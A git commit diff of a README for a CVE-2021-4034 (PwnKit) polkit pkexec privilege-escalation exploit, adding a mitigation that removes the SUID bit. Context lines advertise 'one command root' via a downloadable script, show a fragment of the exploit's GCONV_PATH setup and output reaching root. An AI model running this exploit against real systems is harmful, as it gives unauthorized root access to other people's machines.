Update README.md

This commit is contained in:
Adrian Lois 2022-01-29 20:15:10 +01:00
parent 6bb8d16985
commit c26fb29c4e

View File

@ -63,7 +63,6 @@ vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission). Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission).
# One command root # One command root
You can easily exploit the system using a single script, downloadable and executable with this command: You can easily exploit the system using a single script, downloadable and executable with this command:
@ -82,3 +81,10 @@ cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
whoami whoami
root root
``` ```
# Mitigation
If no patches are available for your operating system, you can remove the SUID-bit from pkexec as a temporary mitigation.
```
chmod 0755 /usr/bin/pkexec
```